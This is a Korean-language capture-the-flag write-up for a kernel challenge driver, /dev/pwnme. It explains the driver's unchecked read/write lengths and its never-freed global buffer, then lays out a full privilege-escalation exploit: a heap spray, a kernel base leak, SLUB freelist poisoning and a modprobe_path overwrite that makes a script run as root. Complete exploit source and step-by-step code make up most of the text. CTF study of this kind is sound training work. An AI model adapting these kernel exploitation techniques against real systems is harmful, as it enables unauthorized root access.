below
취약점 분석
1. chall_read, chall_write의 길이 검증 부재로 인한 kmalloc-32 OOB read/write
/dev/pwnme를 열면 chall_open에서 g_buf에 0x20 바이트 크기의 kmalloc-32 객체를 할당한다. 하지만 chall_read와 chall_write는 사용자에게서 전달된 count 값을 0x20 이하로 제한하지 않고 그대로 copy_to_user, copy_from_user의 길이로 사용한다.
따라서 read(fd, buf, 0x40)을 호출하면 0x20 바이트짜리 g_buf 뒤에 위치한 인접 slab 객체를 leak할 수 있다. 반대로 write(fd, buf, 0x40)을 호출하면 g_buf 뒤의 인접 slab 객체를 덮을 수 있다. 이 OOB read/write를 이용해 커널 포인터 leak과 SLUB freelist poisoning이 가능하다.
static int chall_open(struct inode *inode, struct file *file)
{
g_buf = kmalloc(0x20, GFP_KERNEL_ACCOUNT);
if (g_buf != NULL)
return 0;
return -ENOMEM;
}
static ssize_t chall_read(struct file *file, char __user *ubuf,
size_t count, loff_t *off)
{
if (copy_to_user(ubuf, g_buf, count) == 0)
return count;
return -EINVAL;
}
static ssize_t chall_write(struct file *file, const char __user *ubuf,
size_t count, loff_t *off)
{
if (copy_from_user(g_buf, ubuf, count) == 0)
return count;
return -EINVAL;
}2. 전역 g_buf 사용 및 release 미해제로 인한 객체 관리 실패
g_buf는 file descriptor별 private data가 아니라 전역 변수다. 그래서 /dev/pwnme를 다시 열 때마다 새 kmalloc(0x20) 결과가 전역 g_buf에 덮어써진다. 또한 chall_release는 g_buf를 해제하지 않고 단순히 0을 반환한다.
이 구조 때문에 freelist poisoning 이후 /dev/pwnme를 반복해서 열면, chall_open의 kmalloc(0x20) 결과가 전역 g_buf에 계속 반영된다. 결과적으로 poisoned freelist를 따라 kmalloc(0x20)이 modprobe_path 주소를 반환하면, 이후 일반적인 device write가 modprobe_path overwrite로 바뀐다.
static int chall_open(struct inode *inode, struct file *file)
{
g_buf = kmalloc(0x20, GFP_KERNEL_ACCOUNT);
if (g_buf != NULL)
return 0;
return -ENOMEM;
}
static int chall_release(struct inode *inode, struct file *file)
{
return 0;
}
static void chall_exit(void)
{
kfree(g_buf);
misc_deregister(&chall_misc);
}Exploit 과정
Step 1: /dev/pwnme 할당 및 /proc/self/stat heap spray
먼저 /dev/pwnme를 열어 kmalloc-32 객체 A를 g_buf로 할당한다. 이후 /proc/self/stat를 여러 번 열어 A 근처에 유용한 kmalloc-32 객체를 배치한다.
#define SPRAY_COUNT 0x10
fd = open("/dev/pwnme", O_RDWR);
for (int i = 0; i < SPRAY_COUNT; i++)
{
spray_fd[i] = open("/proc/self/stat", O_RDONLY);
}Step 2: OOB read로 커널 베이스 leak
g_buf는 0x20 바이트지만 0x40 바이트를 읽어 인접 객체까지 leak한다. 현재 exploit에서는 buf[4], 즉 byte offset 0x20에 있는 커널 text pointer를 사용한다.
read(fd, buf, 0x40);
leak = buf[4];
base = leak - 0x137a80;
modprobe_path = base + 0x8ae3c0;Step 3: spray 객체 free 후 SLUB freelist poisoning
spray한 /proc/self/stat fd를 역순으로 닫아 인접 객체들을 free한다. 이후 다시 0x40 바이트를 읽어 현재 free object metadata를 가져오고, byte offset 0x30에 modprobe_path 주소를 쓴다.
g_buf가 0x20 바이트이므로 offset 0x30은 인접 객체 기준 +0x10 위치다. 이 위치가 해당 환경에서 free object의 freelist pointer로 사용되므로, 다음 kmalloc-32 경로를 modprobe_path로 조작할 수 있다.
for (int i = SPRAY_COUNT - 1; i >= 0; i--)
{
close(spray_fd[i]);
}
memset(buf, 0, sizeof(buf));
read(fd, buf, 0x40);
buf[6] = modprobe_path;
write(fd, buf, 0x40);Step 4: /dev/pwnme 재할당으로 g_buf == modprobe_path 만들기
/dev/pwnme를 다시 열면 chall_open에서 kmalloc(0x20)이 호출되고, 반환값이 전역 g_buf에 저장된다. poisoned freelist가 소비되면 어느 시점에 kmalloc(0x20)이 modprobe_path를 반환한다.
이후 read(fd2, buf, 0x20) 결과가 기존 문자열인 /sbin/modprobe와 같으면 g_buf가 modprobe_path를 가리키는 상태가 된다.
for (int i = 0; i < SPRAY_COUNT; i++)
{
fd2 = open("/dev/pwnme", O_RDWR);
memset(buf, 0, sizeof(buf));
read(fd2, buf, 0x20);
if (memcmp(buf, "/sbin/modprobe", 14) == 0)
{
info("g_buf == modprobe_path");
break;
}
}Step 5: modprobe_path overwrite 및 trigger
/tmp/ex에 /flag 권한을 바꾸는 shell script를 만든다. 그 다음 g_buf == modprobe_path 상태에서 /dev/pwnme에 /tmp/ex를 write하여 커널의 modprobe_path 문자열을 덮는다.
마지막으로 잘못된 포맷의 실행 파일을 실행해 unknown binary handler 경로를 유도한다. 커널이 modprobe helper를 실행하면서 /tmp/ex가 root 권한으로 실행되고, /flag 권한이 변경된다.
setup_modprobe("/tmp/ex", "chmod 777 /flag");
write(fd2, "/tmp/ex\0", 8);
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /flag");Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <fcntl.h>
#include <stdint.h>
int fd, fd2;
int spray_fd[0x100];
uint64_t buf[0x100];
uint64_t leak, base;
uint64_t modprobe_path;
#define SPRAY_COUNT 0x10
void main()
{
uint64_t buf[0x100];
important("happy hacking!");
fd = open("/dev/pwnme", O_RDWR);
info("fd: %d", fd);
if (fd < 0)
{
error("failed to open /dev/pwnme");
}
// heap spray
for (int i = 0; i < SPRAY_COUNT; i++)
{
spray_fd[i] = open("/proc/self/stat", O_RDONLY);
if (spray_fd[i] < 0)
{
error("failed to open /proc/self/stat");
exit(1);
}
}
info("Spray complete");
// leak kernel base
memset(buf, 0, sizeof(buf));
read(fd, buf, 0x40);
hexdump(buf, 0x40);
leak = buf[4];
base = leak - 0x137a80;
modprobe_path = base + 0x8ae3c0;
info("leak: 0x%lx", leak);
info("base: 0x%lx", base);
info("modprobe_path: 0x%lx", modprobe_path);
// free spray
for (int i = SPRAY_COUNT - 1; i >= 0; i--)
{
close(spray_fd[i]);
}
info("Spray cleanup complete");
// overwrite next slab's freelist pointer with modprobe_path
memset(buf, 0, sizeof(buf));
read(fd, buf, 0x40);
hexdump(buf, 0x40);
buf[6] = modprobe_path;
write(fd, buf, 0x40);
memset(buf, 0, sizeof(buf));
read(fd, buf, 0x40);
hexdump(buf, 0x40);
// allocated fd2 at modprobe_path
for (int i = 0; i < SPRAY_COUNT; i++)
{
fd2 = open("/dev/pwnme", O_RDWR);
memset(buf, 0, sizeof(buf));
read(fd2, buf, 0x20);
if (memcmp(buf, "/sbin/modprobe", 14) == 0)
{
info("g_buf == modprobe_path");
break;
}
}
// setting modprobe_path overwriting
setup_modprobe("/tmp/ex", "chmod 777 /flag");
// overwrite modprobe_path with /tmp/ex
write(fd2, "/tmp/ex\0", 8);
// trigger modprobe_path execution
// run_modprobe();
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
// cat flag
system("cat /flag");
}